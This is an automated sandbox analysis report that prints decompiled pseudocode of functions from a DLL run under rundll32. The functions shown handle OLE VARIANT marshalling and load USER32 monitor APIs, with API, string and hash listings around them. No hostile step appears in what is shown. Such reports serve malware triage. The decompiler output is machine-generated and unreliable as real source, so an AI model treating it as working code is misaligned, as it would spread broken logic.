								__eflags =  *_t318;
								if(__eflags == 0) {
									goto L54;
								}
								_t238 =  *_t318;
								__eflags = _t238 - 8;
								if(_t238 == 8) {
									L51:
									__imp__#9(_t313);
								} else {
									__eflags = _t238 - 0xe;
									if(_t238 == 0xe) {
										goto L51;
									}
								}
								_t313 = _t313 - 0x10;
								_t318 = _t318 + 1;
								__eflags = _t318;
							}
						}
						L54:
						E6EB47CD0(_t268, _t313, _t318, __eflags,  *((intOrPtr*)(_t322 - 0x54)));
						__eflags =  *(_t322 + 0xc) - _t268;
						 *((intOrPtr*)(_t322 - 0x54)) = _t268;
						if( *(_t322 + 0xc) < _t268) {
							__imp__#9(_t322 - 0x44);
							__eflags =  *(_t322 + 0xc) - 0x80020009;
							if(__eflags != 0) {
								_push( *(_t322 + 0xc));
								L57:
								E6EB48DE3(_t268, _t313, _t318, __eflags);
							}
							__eflags =  *((intOrPtr*)(_t322 - 0x70)) - _t268;
							if(__eflags != 0) {
								 *((intOrPtr*)(_t322 - 0x70))(_t322 - 0x88);
							}
							_t219 = E6EB47C96(__eflags, 0x20);
							 *((intOrPtr*)(_t322 + 0x14)) = _t219;
							 *(_t322 - 4) = 4;
							__eflags = _t219 - _t268;
							if(__eflags != 0) {
								_push( *((intOrPtr*)(_t322 - 0x88)));
								_push(_t268);
								_push(_t268);
								_t268 = E6EB61C50(_t268, _t219, _t305, _t313, _t318, __eflags);
							}
							_t314 = __imp__#7;
							 *(_t322 - 4) = 1;
							_t220 =  *_t314( *((intOrPtr*)(_t322 - 0x84)));
							__eflags = _t220;
							if(_t220 != 0) {
								_t144 = _t268 + 0x18; // 0x18
								E6EB48F80(_t268, _t144,  *((intOrPtr*)(_t322 - 0x84)));
							}
							_t319 = __imp__#6;
							 *_t319( *((intOrPtr*)(_t322 - 0x84)));
							_t222 =  *_t314( *((intOrPtr*)(_t322 - 0x80)));
							__eflags = _t222;
							if(_t222 != 0) {
								_t148 = _t268 + 0xc; // 0xc
								E6EB48F80(_t268, _t148,  *((intOrPtr*)(_t322 - 0x80)));
							}
							 *_t319( *((intOrPtr*)(_t322 - 0x80)));
							_t224 =  *_t314( *((intOrPtr*)(_t322 - 0x7c)));
							__eflags = _t224;
							if(_t224 != 0) {
								_t152 = _t268 + 0x14; // 0x14
								E6EB48F80(_t268, _t152,  *((intOrPtr*)(_t322 - 0x7c)));
							}
							 *_t319( *((intOrPtr*)(_t322 - 0x7c)));
							 *((intOrPtr*)(_t268 + 0x10)) =  *((intOrPtr*)(_t322 - 0x78));
							 *((intOrPtr*)(_t268 + 0x1c)) =  *((intOrPtr*)(_t322 - 0x6c));
							 *((intOrPtr*)(_t322 + 0x14)) = _t268;
							E6EB667FC(_t322 + 0x14, 0x6eb84f9c);
						}
						_t318 =  *(_t322 + 0x10);
						__eflags = _t318 - _t268;
						if(_t318 != _t268) {
							__eflags = _t318 - 0xc;
							if(_t318 == 0xc) {
								L73:
								_t214 = (_t318 & 0x0000ffff) + 0xfffffffe;
								__eflags = _t214 - 0x13;
								if(_t214 <= 0x13) {
									switch( *((intOrPtr*)(_t214 * 4 +  &M6EB627F3))) {
										case 0:
											__eax =  *(__ebp + 0x14);
											 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
											goto L84;
										case 1:
											__eax =  *(__ebp + 0x14);
											__ecx =  *(__ebp - 0x3c);
											 *( *(__ebp + 0x14)) = __ecx;
											goto L84;
										case 2:
											__eax =  *(__ebp + 0x14);
											 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
											goto L84;
										case 3:
											__eax =  *(__ebp + 0x14);
											 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
											goto L84;
										case 4:
											__ecx =  *(__ebp - 0x3c);
											__eax =  *(__ebp + 0x14);
											 *__eax =  *(__ebp - 0x3c);
											__ecx =  *(__ebp - 0x38);
											 *(__eax + 4) = __ecx;
											goto L84;
										case 5:
											__eax = E6EB55B3E(__eax, __ecx,  *(__ebp + 0x14),  *(__ebp - 0x3c));
											_push( *(__ebp - 0x3c));
											__imp__#6();
											goto L84;
										case 6:
											__ecx =  *(__ebp + 0x14);
											__eax = 0;
											__eflags =  *(__ebp - 0x3c) - __bx;
											__eax = 0 | __eflags != 0x00000000;
											 *__ecx = __eflags != 0;
											goto L84;
										case 7:
											__edi =  *(__ebp + 0x14);
											__esi = __ebp - 0x44;
											asm("movsd");
											asm("movsd");
											asm("movsd");
											asm("movsd");
											goto L84;
										case 8:
											goto L84;
										case 9:
											 *((char*)( *((intOrPtr*)(_t322 + 0x14)))) =  *((intOrPtr*)(_t322 - 0x3c));
											goto L84;
									}
								}
							} else {
								_t216 = _t322 - 0x44;
								__imp__#12(_t216, _t216, _t268, _t318);
								_t313 = _t216;
								__eflags = _t313 - _t268;
								if(__eflags >= 0) {
									goto L73;
								} else {
									__imp__#9(_t322 - 0x44);
									_push(_t313);
									goto L57;
								}
							}
						}
						L84:
						 *(_t322 - 4) = 0;
						E6EB61464(_t322 - 0x68);
						_t190 = _t322 - 4;
						 *_t190 =  *(_t322 - 4) | 0xffffffff;
						__eflags =  *_t190;
						_t197 = E6EB621DD(_t322 - 0x54);
					}
					return E6EB665D3(_t197);
				}
				L86:
			}

APIs

__EH_prolog3.LIBCMT ref: 6EB62272
_memset.LIBCMT ref: 6EB6229A
lstrlenA.KERNEL32(?,00000004,00000000,6EB62568), ref: 6EB622AA
_memset.LIBCMT ref: 6EB62314
_memset.LIBCMT ref: 6EB6252A
VariantClear.OLEAUT32(?), ref: 6EB62589
VariantClear.OLEAUT32(?), ref: 6EB625B1
SysStringLen.OLEAUT32(?), ref: 6EB6260B
SysFreeString.OLEAUT32(?), ref: 6EB6262B
SysStringLen.OLEAUT32(?), ref: 6EB62630
SysFreeString.OLEAUT32(?), ref: 6EB62644
SysStringLen.OLEAUT32(?), ref: 6EB62649
SysFreeString.OLEAUT32(?), ref: 6EB6265D
__CxxThrowException@8.LIBCMT ref: 6EB62677
VariantChangeType.OLEAUT32(?,?,00000000,?), ref: 6EB62695
VariantClear.OLEAUT32(?), ref: 6EB626A5

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: String$Variant$ClearFree_memset$ChangeException@8H_prolog3ThrowTypelstrlen
String ID:
API String ID: 4128688680-0
Opcode ID: b0b3521d95385965da4e711d2a4d44664237baae31b4037d5c3f281dd8c12d2d
Instruction ID: 5d03c207a779ab8ea8d9782a538db74713ee884ce4c098d607bb9de74e88ece7
Opcode Fuzzy Hash: b0b3521d95385965da4e711d2a4d44664237baae31b4037d5c3f281dd8c12d2d
Instruction Fuzzy Hash: F502797190028ADFEF10CFE8D894AEEBFB8EF05304F104469E955AB2A0DB749A55CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4A0A9 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 78
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E6EB4A0A9() {
				void* __ebx;
				void* __esi;
				void* _t5;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t9;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				signed int _t16;
				signed int _t17;
				struct HINSTANCE__* _t19;
				void* _t21;
				void* _t24;
				void* _t25;

				_t17 = _t16 ^ _t16;
				_t24 =  *0x6eb8c534 - _t17; // 0x0
				if(_t24 == 0) {
					_push(_t21);
					 *0x6eb8c538 = E6EB4A04F(_t17, _t21, __eflags);
					_t19 = GetModuleHandleA("USER32");
					__eflags = _t19 - _t17;
					if(_t19 == _t17) {
						L12:
						 *0x6eb8c518 = _t17;
						 *0x6eb8c51c = _t17;
						 *0x6eb8c520 = _t17;
						 *0x6eb8c524 = _t17;
						 *0x6eb8c528 = _t17;
						 *0x6eb8c52c = _t17;
						 *0x6eb8c530 = _t17;
						_t5 = 0;
					} else {
						_t6 = GetProcAddress(_t19, "GetSystemMetrics");
						 *0x6eb8c518 = _t6;
						__eflags = _t6 - _t17;
						if(_t6 == _t17) {
							goto L12;
						} else {
							_t7 = GetProcAddress(_t19, "MonitorFromWindow");
							 *0x6eb8c51c = _t7;
							__eflags = _t7 - _t17;
							if(_t7 == _t17) {
								goto L12;
							} else {
								_t8 = GetProcAddress(_t19, "MonitorFromRect");
								 *0x6eb8c520 = _t8;
								__eflags = _t8 - _t17;
								if(_t8 == _t17) {
									goto L12;
								} else {
									_t9 = GetProcAddress(_t19, "MonitorFromPoint");
									 *0x6eb8c524 = _t9;
									__eflags = _t9 - _t17;
									if(_t9 == _t17) {
										goto L12;
									} else {
										_t10 = GetProcAddress(_t19, "EnumDisplayMonitors");
										 *0x6eb8c52c = _t10;
										__eflags = _t10 - _t17;
										if(_t10 == _t17) {
											goto L12;
										} else {
											_t11 = GetProcAddress(_t19, "GetMonitorInfoA");
											 *0x6eb8c528 = _t11;
											__eflags = _t11 - _t17;
											if(_t11 == _t17) {
												goto L12;
											} else {
												_t12 = GetProcAddress(_t19, "EnumDisplayDevicesA");
												 *0x6eb8c530 = _t12;
												__eflags = _t12 - _t17;
												if(_t12 == _t17) {
													goto L12;
												} else {
													_t5 = 1;
													__eflags = 1;
												}
											}
										}
									}
								}
							}
						}
					}
					 *0x6eb8c534 = 1;
					return _t5;
				} else {
					_t25 =  *0x6eb8c528 - _t17; // 0x0
					return 0 | _t25 != 0x00000000;
				}
			}

APIs

GetModuleHandleA.KERNEL32(USER32,00000000,00000000,73FD5D80,6EB4A1FE,?,?,?,?,?,?,?,6EB4C21A,00000000,00000002,00000028), ref: 6EB4A0D4
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 6EB4A0F0
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6EB4A101
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 6EB4A112
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 6EB4A123
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 6EB4A134
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 6EB4A145
GetProcAddress.KERNEL32(00000000,EnumDisplayDevicesA), ref: 6EB4A156

Strings

GetMonitorInfoA, xrefs: 6EB4A13F
GetSystemMetrics, xrefs: 6EB4A0EA
EnumDisplayMonitors, xrefs: 6EB4A12E
USER32, xrefs: 6EB4A0CA
MonitorFromWindow, xrefs: 6EB4A0FB
MonitorFromRect, xrefs: 6EB4A10C
MonitorFromPoint, xrefs: 6EB4A11D
EnumDisplayDevicesA, xrefs: 6EB4A150

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayDevicesA$EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-68207542
Opcode ID: fdd1ff324aa9c9749c0f5984247bf829d9c7b8555043d633be003f1cd2b76bfe
Instruction ID: a1cf5facc85f5137f9e0641c9a213effc9cb49900bb16edb89566da66feb22b5
Opcode Fuzzy Hash: fdd1ff324aa9c9749c0f5984247bf829d9c7b8555043d633be003f1cd2b76bfe
Instruction Fuzzy Hash: 85212CF69146929F9F11AFF58CD54AB3EE9A35B2103115A3FD151DFB00E730A442AF42

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6226B Relevance: 27.4, APIs: 18, Instructions: 402
stringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E6EB6226B(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t188;
				signed int _t201;
				signed int _t205;
				void* _t207;
				intOrPtr _t210;
				char _t229;
				CHAR* _t235;
				intOrPtr _t236;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t249;
				signed int _t256;
				signed int _t257;
				signed int _t276;
				signed short* _t277;
				signed int _t289;
				void* _t292;
				intOrPtr* _t293;
				CHAR* _t295;
				intOrPtr* _t296;
				intOrPtr _t297;
				signed short* _t298;
				void* _t299;
				void* _t300;
				void* _t301;
				void* _t312;

				_push(0x7c);
				_t188 = E6EB664FB(0x6eb7849c, __ebx, __edi, __esi);
				 *((intOrPtr*)(_t299 - 0x24)) = __ecx;
				_t256 = 0;
				if( *((intOrPtr*)(__ecx)) == 0) {
					L77:
					return E6EB665D3(_t188);
				}
				 *((intOrPtr*)(_t299 - 0x54)) = 0;
				 *((intOrPtr*)(_t299 - 0x50)) = 0;
				 *(_t299 - 0x4c) = 0;
				 *((intOrPtr*)(_t299 - 0x48)) = 0;
				 *(_t299 - 4) = 0;
				E6EB65E80(__edi, _t299 - 0x54, 0, 0x10);
				_t301 = _t300 + 0xc;
				if( *(_t299 + 0x18) != 0) {
					 *(_t299 - 0x4c) = lstrlenA( *(_t299 + 0x18));
				}
				 *((intOrPtr*)(_t299 - 0x20)) = 0xfffffffd;
				if(( *(_t299 + 0xc) & 0x0000000c) != 0) {
					 *((intOrPtr*)(_t299 - 0x48)) = 1;
					 *((intOrPtr*)(_t299 - 0x50)) = _t299 - 0x20;
				}
				 *((intOrPtr*)(_t299 - 0x68)) = 0x6eb7c160;
				 *((intOrPtr*)(_t299 - 0x64)) = _t256;
				 *((intOrPtr*)(_t299 - 0x58)) = _t256;
				 *((intOrPtr*)(_t299 - 0x5c)) = _t256;
				 *((intOrPtr*)(_t299 - 0x60)) = _t256;
				_t192 =  *(_t299 - 0x4c);
				 *(_t299 - 4) = 1;
				_t292 = 4;
				_t307 =  *(_t299 - 0x4c) - _t256;
				if( *(_t299 - 0x4c) == _t256) {
					L37:
					_t295 = 0;
					E6EB54FBE(_t299 - 0x44);
					if( *(_t299 + 0x10) != _t256) {
						_t295 = _t299 - 0x44;
					}
					E6EB65E80(_t292, _t299 - 0x88, _t256, 0x20);
					 *(_t299 - 0x28) =  *(_t299 - 0x28) | 0xffffffff;
					_t288 = _t299 - 0x54;
					 *(_t299 + 0xc) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t299 - 0x24)))))) + 0x18))(_t295, _t299 - 0x88, _t299 - 0x28);
					E6EB62211(_t256, _t299 - 0x68, _t292, _t295,  *((intOrPtr*)( *((intOrPtr*)(_t299 - 0x24)))),  *((intOrPtr*)(_t299 + 8)), 0x6eb7e0f4, _t256,  *(_t299 + 0xc), _t299 - 0x54);
					_t201 =  *(_t299 - 0x4c);
					if(_t201 == _t256) {
						L46:
						E6EB47CD0(_t256, _t292, _t295, _t318,  *((intOrPtr*)(_t299 - 0x54)));
						 *((intOrPtr*)(_t299 - 0x54)) = _t256;
						if( *(_t299 + 0xc) >= _t256) {
							L61:
							_t295 =  *(_t299 + 0x10);
							if(_t295 == _t256) {
								L76:
								 *(_t299 - 4) = 0;
								E6EB61464(_t299 - 0x68);
								_t184 = _t299 - 4;
								 *_t184 =  *(_t299 - 4) | 0xffffffff;
								__eflags =  *_t184;
								_t188 = E6EB621DD(_t299 - 0x54);
								goto L77;
							}
							if(_t295 == 0xc) {
								L65:
								_t205 = (_t295 & 0x0000ffff) + 0xfffffffe;
								__eflags = _t205 - 0x13;
								if(_t205 > 0x13) {
									goto L76;
								}
								switch( *((intOrPtr*)(_t205 * 4 +  &M6EB627F3))) {
									case 0:
										__eax =  *(__ebp + 0x14);
										 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
										goto L76;
									case 1:
										__eax =  *(__ebp + 0x14);
										__ecx =  *(__ebp - 0x3c);
										 *( *(__ebp + 0x14)) = __ecx;
										goto L76;
									case 2:
										__eax =  *(__ebp + 0x14);
										 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
										goto L76;
									case 3:
										__eax =  *(__ebp + 0x14);
										 *( *(__ebp + 0x14)) =  *(__ebp - 0x3c);
										goto L76;
									case 4:
										__ecx =  *(__ebp - 0x3c);
										__eax =  *(__ebp + 0x14);
										 *__eax =  *(__ebp - 0x3c);
										__ecx =  *(__ebp - 0x38);
										 *(__eax + 4) = __ecx;
										goto L76;
									case 5:
										__eax = E6EB55B3E(__eax, __ecx,  *(__ebp + 0x14),  *(__ebp - 0x3c));
										_push( *(__ebp - 0x3c));
										__imp__#6();
										goto L76;
									case 6:
										__ecx =  *(__ebp + 0x14);
										__eax = 0;
										__eflags =  *(__ebp - 0x3c) - __bx;
										__eax = 0 | __eflags != 0x00000000;
										 *__ecx = __eflags != 0;
										goto L76;
									case 7:
										__edi =  *(__ebp + 0x14);
										__esi = __ebp - 0x44;
										asm("movsd");
										asm("movsd");
										asm("movsd");
										asm("movsd");
										goto L76;
									case 8:
										goto L76;
									case 9:
										 *((char*)( *((intOrPtr*)(_t299 + 0x14)))) =  *((intOrPtr*)(_t299 - 0x3c));
										goto L76;
								}
							}
							_t207 = _t299 - 0x44;
							__imp__#12(_t207, _t207, _t256, _t295);
							_t292 = _t207;
							_t320 = _t292 - _t256;
							if(_t292 >= _t256) {
								goto L65;
							}
							__imp__#9(_t299 - 0x44);
							_push(_t292);
							L49:
							E6EB48DE3(_t256, _t292, _t295, _t320);
							L50:
							_t321 =  *((intOrPtr*)(_t299 - 0x70)) - _t256;
							if( *((intOrPtr*)(_t299 - 0x70)) != _t256) {
								 *((intOrPtr*)(_t299 - 0x70))(_t299 - 0x88);
							}
							_t210 = E6EB47C96(_t321, 0x20);
							 *((intOrPtr*)(_t299 + 0x14)) = _t210;
							 *(_t299 - 4) = 4;
							_t322 = _t210 - _t256;
							if(_t210 != _t256) {
								_push( *((intOrPtr*)(_t299 - 0x88)));
								_push(_t256);
								_push(_t256);
								_t256 = E6EB61C50(_t256, _t210, _t288, _t292, _t295, _t322);
							}
							_push( *((intOrPtr*)(_t299 - 0x84)));
							_t293 = __imp__#7;
							 *(_t299 - 4) = 1;
							if( *_t293() != 0) {
								_t138 = _t256 + 0x18; // 0x18
								E6EB48F80(_t256, _t138,  *((intOrPtr*)(_t299 - 0x84)));
							}
							_t296 = __imp__#6;
							 *_t296( *((intOrPtr*)(_t299 - 0x84)));
							_push( *((intOrPtr*)(_t299 - 0x80)));
							if( *_t293() != 0) {
								_t142 = _t256 + 0xc; // 0xc
								E6EB48F80(_t256, _t142,  *((intOrPtr*)(_t299 - 0x80)));
							}
							 *_t296( *((intOrPtr*)(_t299 - 0x80)));
							_push( *((intOrPtr*)(_t299 - 0x7c)));
							if( *_t293() != 0) {
								_t146 = _t256 + 0x14; // 0x14
								E6EB48F80(_t256, _t146,  *((intOrPtr*)(_t299 - 0x7c)));
							}
							 *_t296( *((intOrPtr*)(_t299 - 0x7c)));
							 *((intOrPtr*)(_t256 + 0x10)) =  *((intOrPtr*)(_t299 - 0x78));
							 *((intOrPtr*)(_t256 + 0x1c)) =  *((intOrPtr*)(_t299 - 0x6c));
							 *((intOrPtr*)(_t299 + 0x14)) = _t256;
							E6EB667FC(_t299 + 0x14, 0x6eb84f9c);
							goto L61;
						}
						__imp__#9(_t299 - 0x44);
						_t320 =  *(_t299 + 0xc) - 0x80020009;
						if( *(_t299 + 0xc) == 0x80020009) {
							goto L50;
						}
						_push( *(_t299 + 0xc));
						goto L49;
					} else {
						_t295 =  *(_t299 + 0x18);
						_t292 = (_t201 << 4) +  *((intOrPtr*)(_t299 - 0x54)) - 0x10;
						while(1) {
							_t318 =  *_t295;
							if( *_t295 == 0) {
								goto L46;
							}
							_t229 =  *_t295;
							__eflags = _t229 - 8;
							if(_t229 == 8) {
								L43:
								__imp__#9(_t292);
								L44:
								_t292 = _t292 - 0x10;
								_t295 =  &(_t295[1]);
								__eflags = _t295;
								continue;
							}
							__eflags = _t229 - 0xe;
							if(_t229 != 0xe) {
								goto L44;
							}
							goto L43;
						}
						goto L46;
					}
				} else {
					_t289 = 0x10;
					_t297 = E6EB47C96(_t307,  ~(0 | _t307 > 0x00000000) | _t192 * _t289);
					 *((intOrPtr*)(_t299 - 0x54)) = _t297;
					E6EB65E80(_t292, _t297, _t256,  *(_t299 - 0x4c) << 4);
					_t235 =  *(_t299 + 0x18);
					_t276 =  *(_t299 - 0x4c) << 4;
					_t301 = _t301 + 0x10;
					_t36 = _t276 - 0x10; // -16
					_t277 = _t297 + _t36;
					 *(_t299 - 0x14) = _t235;
					 *(_t299 - 0x10) = _t277;
					if( *_t235 == 0) {
						goto L37;
					}
					_t236 =  *((intOrPtr*)(_t299 + 0x1c));
					_t257 = _t236 - 4;
					_t41 =  &(_t277[4]); // -8
					_t298 = _t41;
					 *(_t299 - 0x1c) = _t298;
					 *((intOrPtr*)(_t299 + 0x1c)) = _t236 + 0xfffffff8;
					do {
						_t239 =  *( *(_t299 - 0x14)) & 0x000000ff;
						 *_t277 = _t239;
						if((_t239 & 0x00000040) != 0) {
							 *_t277 = _t239 & 0x0000ffbf | 0x00004000;
						}
						_t240 =  *_t277 & 0x0000ffff;
						_t312 = _t240 - 0x4002;
						if(_t312 > 0) {
							_t241 = _t240 - 0x4003;
							__eflags = _t241 - 0x12;
							if(__eflags > 0) {
								goto L35;
							}
							switch( *((intOrPtr*)(_t241 * 4 +  &M6EB627A7))) {
								case 0:
									goto L34;
								case 1:
									 *((intOrPtr*)(_t299 + 0x1c)) =  *((intOrPtr*)(_t299 + 0x1c)) + _t292;
									_t257 = _t257 + _t292;
									_t243 =  *_t257;
									asm("sbb ecx, ecx");
									 *_t243 =  ~( *_t243) & 0x0000ffff;
									 *_t298 = _t243;
									_t244 = E6EB610FD(_t299 - 0x34, _t243, _t243, 0);
									 *(_t299 - 4) = 3;
									E6EB6159D(_t299 - 0x68, _t244);
									__eflags =  *(_t299 - 0x2c);
									 *(_t299 - 4) = 1;
									if(__eflags != 0) {
										E6EB47CD0(_t257, _t292, _t298, __eflags,  *((intOrPtr*)(_t299 - 0x34)));
									}
									goto L35;
								case 2:
									goto L35;
							}
						} else {
							if(_t312 == 0) {
								L34:
								 *((intOrPtr*)(_t299 + 0x1c)) =  *((intOrPtr*)(_t299 + 0x1c)) + _t292;
								_t257 = _t257 + _t292;
								__eflags = _t257;
								 *_t298 =  *_t257;
								goto L35;
							}
							_t249 = _t240;
							if(_t249 > 0x13) {
								goto L35;
							}
							switch( *((intOrPtr*)(_t249 * 4 +  &M6EB62757))) {
								case 0:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									__ax =  *__ebx;
									goto L28;
								case 1:
									goto L34;
								case 2:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 8;
									__eax =  *(__ebp + 0x1c);
									__ebx =  &(__ebx[2]);
									 *__esi =  *( *(__ebp + 0x1c));
									goto L35;
								case 3:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 8;
									__eax =  *(__ebp + 0x1c);
									__ebx =  &(__ebx[2]);
									 *__esi =  *( *(__ebp + 0x1c));
									goto L35;
								case 4:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									__eax =  *__ebx;
									goto L17;
								case 5:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									__eax =  *__ebx;
									_push(__eax);
									 *(__ebp - 0x1c) = __eax;
									__imp__#2();
									__eflags =  *(__ebp - 0x1c);
									 *__esi = __eax;
									if(__eflags == 0) {
										goto L35;
									}
									__eflags = __eax;
									if(__eflags != 0) {
										goto L35;
									}
									goto L23;
								case 6:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									 *__ebx =  ~( *__ebx);
									asm("sbb eax, eax");
									L28:
									 *__esi = __ax;
									goto L35;
								case 7:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 4;
									__edi =  *(__ebp - 0x10);
									__ebx =  &(__ebx[1]);
									__esi =  *__ebx;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									asm("movsd");
									__esi =  *(__ebp - 0x1c);
									_push(4);
									_pop(__edi);
									goto L35;
								case 8:
									L24:
									 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
									__ebx = __ebx + __edi;
									__eax =  *__ebx;
									_push(__eax);
									__ecx = __ebp - 0x18;
									 *(__ebp - 0x1c) = __eax;
									__eax = E6EB4922C(__ebx, __ecx, __edi, __esi, __eflags);
									_push( *(__ebp - 0x18));
									 *((char*)(__ebp - 4)) = 2;
									__imp__#2();
									__eflags =  *(__ebp - 0x1c);
									 *__esi = __eax;
									if( *(__ebp - 0x1c) == 0) {
										L26:
										__ecx =  *(__ebp - 0x10);
										_push(8);
										_pop(__eax);
										 *( *(__ebp - 0x10)) = __ax;
										__ecx =  *(__ebp - 0x18);
										__ecx =  *(__ebp - 0x18) + 0xfffffff0;
										 *((char*)(__ebp - 4)) = 1;
										__eax = E6EB41020(__ecx, __edx);
										goto L35;
									}
									__eflags = __eax;
									if(__eflags == 0) {
										L23:
										__eax = E6EB48B6C(__ebx, __ecx, __edi, __esi, __eflags);
										goto L24;
									}
									goto L26;
								case 9:
									goto L35;
								case 0xa:
									 *((intOrPtr*)(_t299 + 0x1c)) =  *((intOrPtr*)(_t299 + 0x1c)) + _t292;
									_t257 = _t257 + _t292;
									 *_t298 =  *_t257;
									goto L35;
								case 0xb:
									__eax =  *(__ebp + 0x1c);
									__eax =  *(__ebp + 0x1c) + 8;
									 *(__ebp + 0x1c) = __eax;
									__ebx =  &(__ebx[2]);
									__eflags = __ebx;
									L17:
									__ecx =  *__eax;
									 *__esi = __ecx;
									 *(__esi + 4) = __eax;
									goto L35;
							}
						}
						L35:
						_t277 =  *(_t299 - 0x10) - 0x10;
						_t298 = _t298 - 0x10;
						 *(_t299 - 0x14) =  &(( *(_t299 - 0x14))[1]);
						 *(_t299 - 0x10) = _t277;
						 *(_t299 - 0x1c) = _t298;
					} while ( *( *(_t299 - 0x14)) != 0);
					_t256 = 0;
					goto L37;
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6EB62272
_memset.LIBCMT ref: 6EB6229A
lstrlenA.KERNEL32(?,00000004,00000000,6EB62568), ref: 6EB622AA
_memset.LIBCMT ref: 6EB62314
_memset.LIBCMT ref: 6EB6252A
VariantClear.OLEAUT32(?), ref: 6EB625B1
SysStringLen.OLEAUT32(?), ref: 6EB6260B
SysFreeString.OLEAUT32(?), ref: 6EB6262B
SysStringLen.OLEAUT32(?), ref: 6EB62630

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: String_memset$ClearFreeH_prolog3Variantlstrlen
String ID:
API String ID: 516204547-0
Opcode ID: d1832afa3d55c6f28c7470dfff0b065811f45a2ac5346c749766013b8c84dbbb
Instruction ID: ec77d631e87875b1b82a8afb3e137c0654fc40aa668947ceebed05af6499079d
Opcode Fuzzy Hash: d1832afa3d55c6f28c7470dfff0b065811f45a2ac5346c749766013b8c84dbbb
Instruction Fuzzy Hash: 14F1477190028ADFEF11CFE8D894AEEBFB8EF05304F104469E955AB2A0DB749A55CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5F5ED Relevance: 26.0, APIs: 17, Instructions: 453
windowkeyboardCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6EB5F5ED(void* __ebx, signed int __ecx, void* __edi, void* __esi, void* __eflags, signed int _a4, struct tagMSG* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				struct HWND__* _v52;
				signed int _t139;
				signed int _t141;
				void* _t142;
				signed int _t146;
				signed int _t149;
				intOrPtr _t150;
				signed int _t152;
				signed char _t153;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				signed int _t161;
